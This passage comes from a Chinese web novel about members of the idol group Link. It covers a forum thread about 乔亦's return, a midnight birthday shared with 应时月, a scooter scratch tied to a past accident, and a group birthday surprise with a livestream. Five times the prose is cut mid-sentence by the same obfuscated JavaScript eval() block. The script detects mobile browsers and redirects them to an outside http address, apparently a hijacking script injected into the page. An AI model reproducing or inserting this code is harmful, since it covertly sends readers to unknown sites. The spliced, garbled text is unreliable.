如今,有事没事逛逛链团专组,已经成了大多数队内成员的习惯性动作。 Link属于娱乐圈边缘,往往根据需求在不同的时候将自己划分为“娱乐圈艺人”或“剧场演职人员”这样不同的身份——总之,内娱那套偶像远离粉圈的说法在他们身上根本不管用,粉丝也知道成员会看论坛、甚至开小号在论坛回复,所以也时不时在其上喊话。 此时此刻,论坛讨论的大热点……依然在乔亦身上。 【主题】两周了,怎么首页还是这么多乔亦相关 主楼:我说你们反炒也有个限度吧,知道的知道是暂休回归不知道的以为什么大人物莅临链团需要大家整日整夜夹道欢迎了呢 3L 什么时候成反炒了,我觉得但凡有耳朵的都知道今晚堪称你L最近一年最好的一场大MC,乔帝就是很会制造话题啊还不让说了? 少一点捂嘴谢谢 4L lz一看就是乔帝走后才开始搞链团的,怎么了,他名字出现在首页影响你推热度了? 7L 笑死,但凡19年之前搞过链就说不出这种话 你以为乔帝为什么叫乔帝,这人可是你团头号流量体质,从贴吧到微博到论坛,无论在任何时候点进任何链团的讨论平台首页都一定会有他的名字,这才是常态 9L 是的,况且现在还是他在的公演刚结束,如果乔帝结束一场公演没人在论坛开贴讨论他的发言的话,就会有人开贴说他今天状态不行居然没被开贴讨论了 上述才是这个人理应面对的舆论环境,你链腥风血雨正中心头号流量体质可不是说着玩的,受不了的话建议跑路或者祈祷他第二次跑路,不然他在你团一天你就不可能看不到他名字 12L 况且他现在还剩几个粉就反炒啊,以前老粉跑了一大半剩下的不少还转黏着黑了吧,一个说蒸发就蒸发的人谁敢粉啊 * 应时月看到这里笑了一声,心说这楼不就是典型的粉丝发言,一条一条地把发帖人堵得哑口无言,搞不好楼主正在屏幕背后生气。 不过,乔亦刚回来那天,风向还确实如同最后一条回复所说。养成系的粉丝长情,尤其是他们这种和粉圈距离比较近的养成系——但乔亦不一样,有始有终的好好道别或许会让人在自己消失多年后依然怀念,而不明所以的消失只会引来反扑。 他回来直播第一天在弹幕里问责的那些id,有好多应时月都记得。 只是,仅仅经历了两周,乔亦开了几个直播,进行了一些营业,上了两场公演,无数次出现在各种队友的fanclub发言和直播中后,风评就开始急速转化。 应时月眼睁睁看着好几个两周前还在大肆攻击他的id,在最近的直播里已经又开始给他投礼物了——乔亦的粉圈重建比想象中顺利,当然这也好理解,很多人抱怨或不满于他的出走,而这种心态的根源却也还是爱过。 一旦持有如此心态,重逢之后,便会很容易重新倒戈。应时月心想。 这再正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532587|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常不过。 现在首页飘的,除了关于刚刚公演的帖子,还有好几条乔亦粉丝为庆祝他生日开的抽奖贴,有些是现金,还有些是抽旧签名、拍立得什么的,后面这一类里,应时月也挑了几条回复。 接着他抬头看了看墙上的挂钟,见时间也差不多,就准备出门。 出门前他又想了想,从书架上抽出一支金色的细水笔,在小狗抱枕的标签上签上“Oct”三个字母。 接着一只手抱着抱枕,另一只手小心翼翼将房门开了个缝隙,见走廊上没有人,这才关上门轻声走出去。 出门的时候还停顿了片刻。应时月关门关到一半,想起明宸的发言,于是抬头盯着这人房间的猫眼位置看了几秒——如果明宸此刻真的又在背后偷看,那多少也算是试着吓吓他。 能不能成功就另说了。 * 乔亦的607在比较靠走廊尽头的方向。 应时月总是有点担心过道两边哪扇门突然被开启,接着出现一个探头探脑围观的小后辈,于是格外控制自己的脚步声。 虽说被看到了好像也不是什么大事,最多被小后辈拿去fanclub说,今天看到应时月前辈半夜十一点五十去了乔亦前辈的房间,然后留互联网上的cp粉一通瞎猜测,最后给他们提供一定的流量。 但应时月就是有点心虚。 只是没想到,即使他有意控制音量,走到607门口的时候,还没等他敲门,房门就自己打开了。 就像是早就预兆到了他的到来一般。 当然,这也合情合理。距离零点没几分钟,乔亦在门口悄悄观察,趁此机会吓一下自己,说到底并不奇怪。 而事态紧急之下,应时月唯一来得及做的,就是将等身抱枕举在身前,整个人藏在白色的小狗背后。 在预估到乔亦的目光落在自己身上时,他抬起小狗的右手晃了晃,做了个问好的手势。 “晚上好,十月,”下一秒,乔亦的声音带着很好辨识的笑意响起,“辛苦你跑一趟了,先进来坐吧。” 32. “生日快乐” 乔亦将书桌搭在了窗边,三面都不靠墙。 桌面上空空荡荡,只有一个小蛋糕在正中央——那确实是一个很小的四寸蛋糕,纯白色的,大半夜看着让人很有食欲。 毕竟是偶像,还是需要每周和粉丝线下线上见面的剧场偶像,身材管理四个字已然刻入所有链团老成员的DNA。 奶油蛋糕这种东西,说到底就是走一个仪式,吃太多就会让人觉得有负罪感。 乔亦一个人住,房间里居然能有三个椅子,就像是早早预料到了此时此刻的场景一般——这点,确实是在应时月的预期之外。 于是,顺理成章般,两个人和一只等身毛绒小狗刚好坐在书桌的三个方向。唯一有靠背的椅子留给了需要靠的抱枕,剩下两个活人各自一个普通硬质凳子相对而坐。 应时月开始在房间内左顾右盼。 乔亦的房间和他那间是同样的制式。 应时月那间屋子虽然曾经是他们两个人一起住,但本质还是公司给安排的单人间。而如今,乔亦临时回归,于是也自然而然只能被安排一个单人间。 不过,都知道只是临时住上一个月不到,所以这个房间比应时月的简约风宿舍更要单调几分。 浅蓝色的床单、枕头和被套,看上去像是这个房间唯一被新购置的物品——除此之外,其他都是公司所给定的标配。链团宿舍室均一个的、最基础的生活用品小冰箱和饮水机也都没有。 一个同样浅蓝色的行李箱孤零零立在角落里。看上去,就像是它的主人只是短暂来此旅行一般。 “凳子是从隔壁空房间搬过来的——反正还有十多天就要搬了,将就着也能用,”乔亦手上正在拆蜡烛盒子,抬起头看着应时月打探的目光,解释道,“你那边的都可以搬过去,想新买也可以。” 应时月对自己的想法能被轻易看穿这事,已经见惯不怪。事实上,乔亦的想法于他而言也不难懂——除非他缺乏信息量。年少时期的朋友形成的默契就是如此坚不可摧的事情,分离与时间在这种默契面前显然也不值一提。 于是他只是顿了一下,就点点头。实话说,直到如今,他对于两星期后就会和乔亦重新成为室友这件事,多少还有点缺乏实感。 “对了,你不打算直播吗?”应时月想了想,又提问一句,“这再怎么也是……你回来之后的第一个生日。” “白天再播,”乔亦回答,然后抬头,目光注视着应时月,补上后半句,“我都麻烦你来陪我了,你应该也不想在我的生日直播里出镜吧?” “……其实也没有很不想。”应时月沉默两秒钟,最后决定实话实说,“我都可以。” “又要和粉丝说话,又要和你交流,最后还会被论坛开贴说时亦今天又在大卖特卖,”乔亦对他眨眨眼,“那显得我的邀请太没有诚意了——你想要热度的话,我明天直播说一句也不是不行,总得留点想象空间吧。” “这话说得好像我们在商讨如何卖腐一样,”应时月笑了出声,“我也没有那么缺热度。” 但既然乔亦把话说到了这份上,那今天就抛下一切有的没的的情绪,好好正常相处一天好了。 他一边这样想着,一边按下打火机开关。 四寸蛋糕显然不够22根蜡烛发挥,于是这个数量便被削减到了2,非常形式主义。 应时月见时间差不多,便到门口去关掉房间的顶灯,接着一边走回来一边问:“需要我唱一下生日歌吗?” “如果你愿意的话。”乔亦抬头看他——房间里只有蜡烛微弱的光,因而他的神色也在这片昏暗中变得晦暗不清。 “那好,可以现在开始许愿,”应时月打开手机,将页面调整到准确到秒钟的时间,“等我唱完停下来,就可以吹蜡烛了。” “嗯。”乔亦点点头,接着双手合十闭上眼,开始许愿。 如果陆语心在场,大概会说,生活中应该少一点这种按秒卡点的严谨性,但在场两人显然对此都毫无异议,接受得顺理成章。 应时月算好时间,接着开始唱。 他选的是最最经典的中文生日歌版本,没什么花哨的改变,就如同此刻庆祝生日的规模一般质朴。 “……祝你生日快乐。” 最后一句的尾音落下,手机上的钟表刚好转到零点零分零秒。乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532588|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亦睁开眼,吹灭蜡烛。 应时月抬手,在同一时间按灭了手机屏幕。 他们这栋楼外面是荒地,夜间也没有灯光,月亮也不在这个方向。因而房间内陷入黑暗,世界归于安静。 “生日快乐,”应时月在这片黑暗与安静中开口,“小亦。” * 屋内重见光明,两人坐回桌前,开始一边分蛋糕一边闲聊。 蛋糕上是一只奶油小狗,也是纯白色,正向着应时月的方向。 乔亦小心翼翼地动刀,先是将小狗整个平着切出来,正放进应时月的盘子里,接着才以果断的动刀态势,将剩下部分一分为二。 “怎么还给我投喂热量最高的部分啊?”应时月一边笑着调侃,一边用叉子的尖端戳了戳小狗耳朵,“有点不忍心吃,你生日呢,要不还是你来吃。” “因为我需要你最近两周多长胖一点,方便下周双人unit我粉丝拉踩你身材管理不过关。”乔亦说,语气平淡——当然,说的却是标标准准的玩笑话,“有什么不忍心的,我下次还能再做,要别的款式也可以。” “这是你做的啊?”应时月这回确实有点惊讶。 毕竟在他的印象中,这些事并不存在于乔亦的技能树上。 但细想也不觉得奇怪,毕竟乔亦没什么学不会的。 “我上午去蛋糕店做的,”乔亦点点头说,“对面高中背后新开那家蛋糕店,可以提供现场制作的工具和材料。” “哦,”应时月点点头,“怪不得……我还以为是定做的。” 乔亦还没成年那会,粉圈很流行小狗塑,还借此出过一系列拟人小狗的周边。因为过于可爱,所以在链团粉圈都很出名,应时月手上也有一套,他自己从乔亦应援会下的单,如今被他放在衣柜深处,压箱底中。 ——而那套周边的小狗设计,就和应时月面前这只如出一辙。 两人于是就此话题为开端开始闲聊,并说起一些四年前的事。 这还是乔亦回来到现在为止,他们第一次,在只有两个人的场合下,平静而带着怀念般,谈到过去的回忆。 应时月心想。 33. 旧日投影 再度清醒过来时,应时月发现自己正躺在床上。 他在一片黑暗中睁眼。先是自然而然又顺理成章般迷茫了一阵,待理性逐渐回归大脑、视线开始适应无光的环境,这才意识到,如今躺的并非是自己那张熟悉的床——他还在乔亦的房间。 这很像是小说中经常出现的一种开局场景,应时月心想。 主角酒喝多了接着自然而然断片,再清醒的时候发现自己正躺在一张陌生的床上,渐渐想起来和一个陌生人发生了一些不该发生的事,往后就是各种恋爱拉扯——之所以会想到这种剧情,还多亏了他白天在时亦超话看的一篇同人文。 当然,这和现实中的剧情并没有任何关系。 现实只不过是他和乔亦的聊天中,一直都没人主动提出“我觉得差不多可以不聊了大家各自睡觉吧”这样的建议,但这一天下来又是早期购物又是练舞又是公演,体能已然消耗了大半。 于是他自然而然因为太困而睡着了——事实上,应时月有些怀疑自己是否有在不太清醒的时候胡言乱语了什么,只是如今确实想不太起来。 如果有的话,希望乔亦能当没有发生过。他心想。 所以如今的处境,大概是自己说着说着就趴在书桌上睡了过去,接着就被乔亦抱到床上躺着了——应时月向来并不是一个睡眠很浅的人,每天起床都高度依赖反复奏鸣的闹钟、而非楼道的喧闹声或生物钟,因而没有因此被弄醒也并不奇怪。 想到这里,应时月突然想起这是乔亦的单人间,于是他小心翼翼转过身。 ——并与正同他盖着同一床被子的、躺在另外半边床、正面向着他的小狗抱枕四目相对。 应时月骤然坐起身,接着按亮了身边床头柜上摆着的小夜灯。 “……你怎么醒了?”乔亦趴在书桌上,或许是听到声响被惊醒,也或许是根本没睡着,总之是抬起头说,“我觉得翻你口袋找钥匙不太好,所以没把你抱回你房间。” “明天还要去练习室。”应时月顿了顿,心说正常人的第一想法其实是直接叫醒——毕竟他是二十二岁不是两岁。 但最后他没有选择问一些自己本就知道答案的问题,也没有回答乔亦的提问,只说:“……你来床上睡吧,这个床也没有那么窄。” “哦,”乔亦眨眨眼,然后闻言站起身,大概是因为不太清醒,所以回答也尤为简略,并不像他平日里说话的风格,“那好。” 事实上,在曾经做室友的四年里,他们都是睡同一张床、盖同一床被子的。 只是或许如今的乔亦有他的顾虑,而他顾虑的根源——应时月也清楚,正是自己表现给他的态度。 即使乔亦能透过这种表象知晓自己并不会对此有所介意,但也会尊重应时月如今想要维持的距离感——它虽然违背本心,但也有存在的意义。 而两人心照不宣的是,打破这种距离感总归需要契机,而且可能需要的不止一个——这个契机可以是真相、可以是接下来做室友这件事,自然也可以是现在。 比如按理来说,应时月现在人都醒了,最好的处理方案其实是现在回自己宿舍继续睡觉,而不是明早再冒着可能在走廊被人看见的风险跑回去洗漱。 但没人提这个选项。 “对了,”于是应时月又说,“你有多余的睡衣吗?” 如今他身上穿的还是出门的那套常服,外套被脱下来搭在有靠背的那个椅子上,但总归是不太舒服。 “没有没穿过的,”乔亦说,“可以吗?” 应时月点点头。 乔亦听到回答,打开衣柜,开始翻翻找找。 应时月偏过头看,才发现衣柜里并不是自己想象中同整个房间主基调一般的空空荡荡,反而东西挺多,还堆了不少纸箱子——看上去像是都没有拆,但光线太暗,有些看不清。 乔亦最后从柜子中层抽出来一套薄款的秋季睡衣,白色底,上面有一些橙色的线、三角与条纹——事实上,因为光线昏暗,所以直到他回过身将衣服递给应时月,在小夜灯的照耀下,两人才看到其上的图案。 “怎么拿成这件了,”乔亦递出去的动作在半途顿住,有点犹豫,“要换一件吗?” 应时月终于忍不住笑了一声:“就这件吧。” 这还是他们cp ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532589|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应援会曾经出的年底周边,男女同款的,用的是他们的cp应援色橙色作为主基调。其上那些凌乱的线段条纹图案,也是来源于他们曾经的双人舞台相关布景。 当然,这倒不是他们自费买的,而是应援会每年直接送给两位偶像本人的,就如同应时月自己的应援会周边每年也会发他一份。 应时月从乔亦手中接过,转身背对他换好衣服,接着就又躺回被子里。 这套睡衣不知道是什么时候才洗过,应时月又能从其上闻到若有若无的桂花香味——让人有种莫名的安心感。 于是他又将脑袋往被子里缩了缩。 乔亦也换了睡衣,将小狗抱枕往床的中央推了推,在床的另一边坐了下来。 “……不要将头埋到被子里睡觉,都说了不好。”他扭过头,本能般伸手将应时月那头的被子边缘往下扯了扯,才又愣了愣。 大概是如今的情况太有曾经的既视感,于是很多动作和话语都变得自然起来,两人都再维持不下去某种既定的无言约定。 应时月于是又笑了出来。 乔亦松了口气,也跟着笑,一边笑一边越过他去关掉另一边床头的小夜灯,然后隔着小狗抱枕也躺了下来:“……晚安十月。” “晚安。”应时月说。 一如他们曾无数次进行过的对话。 * 第二天,应时月久违地没有被闹钟叫醒,而是被乔亦喊醒的。 在此之前,他们就有约定过今天要一起继续排落霞。应时月再度恍惚了片刻,这才想起晚上发生的事,突然有种莫名的穿越感。 他如今睡在乔亦应援色的被子里,穿着他们的应援睡衣,而乔亦本人,就站在他眼前,弯下腰看他,眼神带着若有若无的笑意。 一个再熟悉不过的、虽然距离现在有些遥远、但曾经在每一天重复发生的场景,就如同四年之前的无数个旧日被投影到了此刻。 只是现在总归不是四年前,所以应时月还得回一趟自己宿舍。 “我先回去洗漱,”应时月起身,抱着自己的衣服准备出门,“你等一下我,过会可以一起去公司。” 34. 划痕 两人在宿舍楼下的非机动车停车场再度相见。 他们刚搬来这边的时候,周边还比较荒凉。那会一起上下班或者上下学,往往是应时月骑电动车,乔亦就坐他车后座,有时候也会互换一下位置。 只是如今城市规划进程之下,附近修了个几个新办公楼和一个学校,因此这片区域早已变得宽阔而繁忙。去公司的短短一段路上就有两个大十字路口,常年有交警驻守,骑车带人都会被拦下来,于是乔亦要和他一起上班,只能扫一辆共享电动车。 乔亦一边扫码,一边还在说着自己也准备去再买辆电动车。 应时月想到这里,还觉得有点可惜。 下一秒,他就被自己突如其来的想法吓了一跳。 ——这种事到底有什么好可惜的。 总之,此刻乔亦已经扫好了车,在门口等他。而应时月一边无端联想着,一边向着自己前一天停车的方向走。 接着就非常不幸地发现,自己的车被几辆陌生电动车和自行车围堵了起来。 这个停车场在他们宿舍楼下,但也不只是Link的成员在用。 事实上,会住集体宿舍的人中,有电动车或自行车的才是少数。毕竟到公司近,到剧场都是集体接送,去市中心显然白天地铁公交更方便、晚上打车更安全,大多数有自己交通工具的成员,都是因为不想住集体宿舍,要搬出去租房子。 因此,停车场里大多数车实际来自周边的居民楼住户。这些陌生“邻居”成分鱼龙混杂,其中爱半夜回来乱停车的也不是少数。 应时月不是第一次遇到推车出去的路被挡住的情况,但挡得如此严严实实还真不多见。遇上这种事唯一办法就只能手动搬,于是他只得开工。 “这些人停车怎么一点基本法都不讲,”大概是远远看到他遇到了状况,于是乔亦将车停在门口,也走了进来帮他搬车,“我看他们自己的车也出不去吧?” “谁知道呢。”应时月叹了口气,回身指了指另一边角落,“那一片被遗弃的车都停了两三年没变了,上面都全是灰,挡它们的路也好啊。” 乔亦的目光跟着他的手指移动:“物业就不能找人清理一下吗……我觉得可以去反馈看看。” “贺景然去找过,没人管他,”应时月说,但突然又觉得让乔亦处理说不定会有成效,因此改口,“不过你也可以去试试?” “好,我过几天就去找他们,你放心,肯定能解决的,”乔亦点点头,语气很笃定,说完又转变话题,“……说起来,这个没有重新喷漆挡一下吗?” 他说后半句的时候,视线已经从那片没人管的废弃车聚集区收回,落到了应时月的车上。 而他的目光所具体追随的,是应时月车尾部的一道划痕。 这道划痕的产生,还是在2020年初、那个乔亦刚刚消失的冬天。 那天应时月刚从外地录外务综艺回来,骑车去学校赶微积分的期末考试。本来是严格遵守交规在非机动车道行驶,结果就在路上遇到了一辆横冲直撞往他的方向乱开过来的小汽车。 应时月慌忙躲闪,但就那么点时间,当然做不到完全避开。小汽车紧急刹车,从侧方向撞上他的时候,只剩下了一点冲击的余烬。 但余烬也足够有冲击力。 应时月在那一瞬间试图操纵减缓冲击,但没成功。于是整个人连着车一起撞倒了人行道的围栏,砸在了一大堆停在路边的电动车和自行车堆里。 见情况不对,那位车主下车,交警也匆匆赶来,几方开始协商交流。最后给应时月的解释是,车主太困了,疲劳驾驶,转错了方向盘——只能说好在及时刹车,没有造成更严重的后果。 应时月在路边倒了好一阵,才很费劲地重新站起来。 微积分是只能办缓考延到第二年了,这种撞伤一旦发生,即使感知不到大问题,去医院检查一通也是最优解。 他先是给助教发了个消息,接着就在车主和交警的陪同之下去了医院。查出来没什么大碍,但身上好几道擦伤,腿部还有点轻微骨折。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532590|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后续还因此耽误了好一段时间的公演和外务。 而从医院出来后,应时月才想起来关注电动车的情况——奇迹的是,这个已经坚持了四年的电动车,似乎比他本身受伤更轻,外壳有一处凹陷,应时月骨折好了之后专程去店里处理了一下。此外其上留了若干道划痕,但都不影响使用。 后来应时月重新涂装,将大部分划痕都遮挡了起来。只有这一道,因为刚好压在了“Oct”的涂装之上,不可能避开这三个字母重新喷漆,因而被保留了下来。 应时月想到这里,转过头迎上突出其来提问的乔亦的目光。 是故意这么问的吗?是想要试探什么吗?他心想。 乔亦肯定记得这三个字母是自己写上去的,如今提问,是随口一说,还是想到得到一个“因为我不想你写的字被遮上”之类的答案呢? 在这一瞬间,应时月几乎肯定是后者,即使乔亦的目光非常坦然,坦然到仿佛只是随口一说。 说起来,这次重逢之后,乔亦从未说过如此有暗示性的发言——如今是第一回。 “这道划痕是之前出了个小意外留下来的,”应时月想了想,然后回答,“当时受了点伤,所以我留了一道痕迹,想要提醒自己平日里骑车要更注意安全。” “……那挺好的,这些意外是不应该被忘记,记住出过的状况,才好提醒自己未来多加小心,”乔亦听完,非常诡异地顿了好几秒,才终于又说,“不过,你说的是20年年初那件事吗——我当初在网上看到过。” 那起小事故最后确实没瞒过粉丝。 最开始是他们考场有人在链团专组爆料,说应时月今天微积分考试没来,接着就有人在医院拍到了他——本来链团并不是什么娱乐圈顶流,平时他们走在路上也不需要戴口罩或者躲躲藏藏,结果不知为何,一出状况,街上就全是认识他的人。 于是就有人在fanclub给他留言,问他怎么回事,应时月只得告知实情,倒是省了因为不上公演而被论坛开十个帖子骂这一流程。 35. 快速闪烁 “是,”应时月又想了想,最后没有否认,又装作很随意地接了一句,“原来你那时候还会关注队里的事。” “那也没有,”乔亦低头去搬旁边的自行车,不知是有意还是无意错开了和他的视线接触,“……我只是会关注你。” 应时月这回是真愣住了。 这回暗中想要扳回一城、于是试图反试探的是他自己,但他完全没料到乔亦会有如此直接的、丝毫不拐弯抹角的回答。 “……如果我现在问你当初为什么要走、为什么不联系我、这四年又在做什么,”应时月于是深吸一口气,将话继续接了下去,“你会说吗?” “会的,”乔亦于是又抬头看他,回答是预料之内的果断,也还是没有笑,而是神情认真地反问,“你要问吗?” “我永远不会问的,”应时月于是笑了笑,给出了大概也在对方意料之中的答案,接着将话题绕回原点,“不过我下回重新喷漆的时候,应该不会留下它了——都这么多年了,我现在已经学会安全行驶了,不需要它来提醒我。” “……我觉得还是应该留着。”反倒是乔亦给出了不同的意见,“人类遗忘一些事,往往比想象中快。” 他们说的当然不是这道划痕本身,这一点两人都心知肚明,就只差给这段发言换一个主语了——而乔亦的回答又是什么意思呢? 应时月突然有点迷惑。 是希望自己不要急着原谅他吗? 他不太懂,但也不太想追问了。 ——正如乔亦所说,他明着追问一定能得到明确的答案,暗示性追问也一定能得到暗喻性的反馈。但……就当我在继续闹一些毫无意义的别扭吧。应时月在心中如此想着。 在这些事上,他总归不想听靠自己问才能得到的答案。 “那先留着吧,反正重新喷漆应该是下学期的事了,到时候再说,”于是他说,先是扯掉电动车的充电线,又将它从车位推了出来,“总算能动了——我们得快点过去了,再晚就没有早饭了。” “你怎么还在用‘学期’区分时间,能不能有点已经不是学生了的自觉,”乔亦总算是笑了,“那我先出去骑车,门口等你?” “实在太顺口了,一时半会改不过来。”应时月先是点头,然后也跟着一起笑了起来。 * 周一的排练进程和过去的一周并没有太大的区别。他们还是用L队练习室旁边的小练习室排双人舞,除了年末舞台、特别公演和总选前,大多数普通的日子,链团的练习室数量都是溢出的,因而也没有人跑来和“大前辈们”争使用权。 要说唯一不同的,大概就是—— 下午三点,小练习室的灯突然开始快速闪烁,就像是接触不良一样。 应时月和乔亦同时停下动作,然后不约而同般抬头。 下一瞬间,顶灯彻底熄灭。 他们排练的时候本身就没拉开窗帘,也没有看demo视频——动作乔亦早已记住,如今要做的只是驯化四肢。 因而此刻灯一灭,整个房间就陷入了一片漆黑。只有角落插座的电源红灯一闪一闪,在覆盖一整张墙面的镜子的反射之下,居然显得有点诡异。 不过两人倒是都没有慌。 应时月早已被预告这一情形——或者说,这之中当然也有他的一份参与。而于乔亦来说,灯熄灭的那一刻没有听到隔壁L队练习室的声音,他就肯定能猜到如今发生的事情是谁的手笔、又是因为什么。 “生日快乐小亦!” 果然,下一刻,房门被骤然推开,声音比本人先落进屋内,接着进来的才是推着小推车的明宸——和他身后的一群人。 “既然你已经吃过生日蛋糕也许过愿了,”明宸一边转身啪地一声按亮房间顶灯,一边将推车推到房间中央,“就不安排吃蛋糕许愿环节了——所以我们买了一个披萨大家一起分。” “前辈,我有一个疑问,”唐言提问,“既然一进来就开灯,那我们把灯熄掉的目的是什么呢?” “……大概是不闪灯总觉得少了什么,”明宸不会和陆语心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532591|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好说话,但这份矛盾本就受到贺景然的牵连,自然不至于再牵连到第三个人身上,至少唐言并没有被连带进他的黑名单中,“不觉得这是集体庆祝生日的必要仪式吗?” “怎么这么久了,”乔亦的声音带着笑,“你们还是这一套。” 大家都笑了起来。 在一片笑声中,应时月一偏头,就对上了举着相机的陆语心——和站在他身旁的贺景然。 毫不意外地,他被吓了一跳。 喊上整个L队来给乔亦短暂庆祝一下生日这件事,自然是明宸、唐言和应时月三个人在商量。 在乔亦相关的事情上,唐言这人与其说是L队现任队长、不如说是陆语心的传话筒,因此L队编外陆语心本人出现在这里倒是意料之中的事。 但贺景然还真不是。 应时月没问也知道,贺景然既然卡着零点给乔亦发了消息——这是乔亦早饭时顺口提到的,那当然会挑时间线下来给乔亦庆祝。 毕竟,乔亦跑路前,应时月过后,链团和他关系第二好的就是贺景然。 但应时月想过他可能会在晚饭前来、也可能趁着晚上回宿舍后单独找乔亦,总归是没想过这人会混在L队的队伍里。 如今与明宸只相隔两米。 “……你没在直播吧?” 于是,应时月的目光在几人身上来回转动,最后见乔亦、明宸和几个小后辈在说话,便往左动了动,压低声音问陆语心。 “没呢,我只是在录像,我怎么可能不预告直接直播,”陆语心说,“如果小亦需要做vlog的话,可以给他提供一些素材。” “如果你们方便的话,我倒是有点想开直播,”陆语心话音刚落下,乔亦就转过头问,“你们有什么不能播的话可以先给我说。” 贺景然:“……你到底是什么听力啊。” “我们哪有什么不能播的话,”陆语心接着也笑了出声,“只有十月才有不能播的话要说吧?” “你什么意思啊?”应时月扭头看他。 36. 生日直播 [月宝探头.jpg] “字面意思,请不要发散理解——我知道你不能播的话已经悄悄说完了,”陆语心冲他做了个wink,还没等应时月张口反驳,就又转向乔亦,“小亦你可以现在就开,我觉得粉丝可能也想看看一期生久违的友情炒作。” 这发言自然是抛给他们几个的。 “我还以为你要说cp炒作呢,”于是接话的是贺景然,他半开玩笑说,“友情这个光明正大的词是应该接在‘炒作’后面的吗?” “首先,这里是Link不是内娱,cp两个字也很光明正大,其次,”陆语心说着说着装模作样叹了口气,“你想炒作什么cp?” 贺景然听到这句反驳,就预感大事不妙。 “小言现在和小亦长得越来越不像了,大家没有替身梗可以嗑,那估计就没有嗑我和小亦或者我和十月的兴趣了,”陆语心继续说,“这两个人之间本身又不用炒作,剩下的……已知我们这里有且只有五个一期生,所以你可以大声说出来你的提名。” 贺景然吸了口气,不知道是没想到陆语心真就直接如此贴脸ky已经be多年、他们朋友之间都会回避提起的cp,还是只不过在为自己搬起石头砸自己的脚的行为感到了片刻的后悔。 “有些人脑子里就只有这些cp的事了。”而明宸在一边靠墙站着,冷不丁来了一句,“做什么事都要扯上目的,无不无聊。” 应时月没忍住笑出了声。 下一刻,当事三人的目光就齐刷刷地看了过来,但都是玩笑式的指责神色,这点上倒是莫名达成了一致——毕竟应时月在这些人际关系中是绝对的中立人,虽然不与谁特别亲近,但大家都愿意同他做朋友。 “你们快都别说了也别笑了,”于是乔亦笑着出来承担调解员的指责,“再说下去,那真的就要变成不能播的话了——所以,如果没问题的话,我现在就开了?” “你开吧。” “可以。” 明宸和贺景然的声音一前一后响起,而陆语心在同一时间点点头。 于是,在征得在场所有人同意之后,乔亦去隔壁房间取了个支架,征用了陆语心的相机并将其连上电脑,对准人群的方向,接着就开启了直播。 而直观来看,这场直播的主题,显然是乔亦说话,其他人坐在一边吃披萨—— “……对,大家来陪我过生日,”乔亦对着镜头招了招手,又将相机取下来,环绕着室内转了一圈,“不吃蛋糕吃披萨是宸宸的主意,大概是因为我们队比较实用,所以会选一些大家都喜欢的……形式主义当然有形式主义的意义,但实用主义也有实用主义的应用场合嘛。” “不要问是什么牌子的能让大家都喜欢,”他的声音带着很随意的笑,“我们是正经偶像,不卖货不营销不打广告。” “你怎么一个人说上了,”陆语心吃完最后一口,偏头凑过来看电脑屏幕,“不该给我们一点戏份吗?” “要什么戏份,”乔亦扭过头看他,“你们在这边吃东西,难不成还要我转镜头过来详细解说吗?” “前辈你别听这个人瞎扯,”唐言开口,“过会大家都会有话给你说的——你先把你想说的说完,这是你的生日直播。” “怎么他是前辈我就是这个人啊?”陆语心回过头说。 林茗予开玩笑:“没关系,至少我们可以叫您前辈。” 大家都笑了起来。 